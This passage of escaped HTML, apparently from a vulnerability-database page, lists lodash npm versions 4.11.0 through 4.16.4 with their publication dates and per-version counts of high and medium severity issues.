data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.4\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.4\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.4\" published=\"6 Oct, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.4\" data-v-90f947a4>\n          6 Oct, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.3\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.3\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.3\" published=\"3 Oct, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.3\" data-v-90f947a4>\n          3 Oct, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.2\" published=\"26 Sep, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.2\" data-v-90f947a4>\n          26 Sep, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.1\" published=\"20 Sep, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.1\" data-v-90f947a4>\n          20 Sep, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.0\" published=\"19 Sep, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.0\" data-v-90f947a4>\n          19 Sep, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.15.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.15.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.15.0\" published=\"12 Aug, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.15.0\" data-v-90f947a4>\n          12 Aug, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.14.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.14.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.14.2\" published=\"8 Aug, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.14.2\" data-v-90f947a4>\n          8 Aug, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.14.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.14.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.14.1\" published=\"29 Jul, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.14.1\" data-v-90f947a4>\n          29 Jul, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.14.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.14.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.14.0\" published=\"24 Jul, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.14.0\" data-v-90f947a4>\n          24 Jul, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.13.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.13.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.13.1\" published=\"23 May, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.13.1\" data-v-90f947a4>\n          23 May, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.13.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.13.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.13.0\" published=\"23 May, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.13.0\" data-v-90f947a4>\n          23 May, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.12.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.12.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.12.0\" published=\"8 May, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.12.0\" data-v-90f947a4>\n          8 May, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.11.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.11.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.11.2\" published=\"2 May, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.11.2\" data-v-90f947a4>\n          2 May, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.11.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.11.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.11.1\" published=\"14 Apr, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.11.1\" data-v-90f947a4>\n          14 Apr, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.11.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.11.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.11.0\" published=\"13 Apr, 2016\" 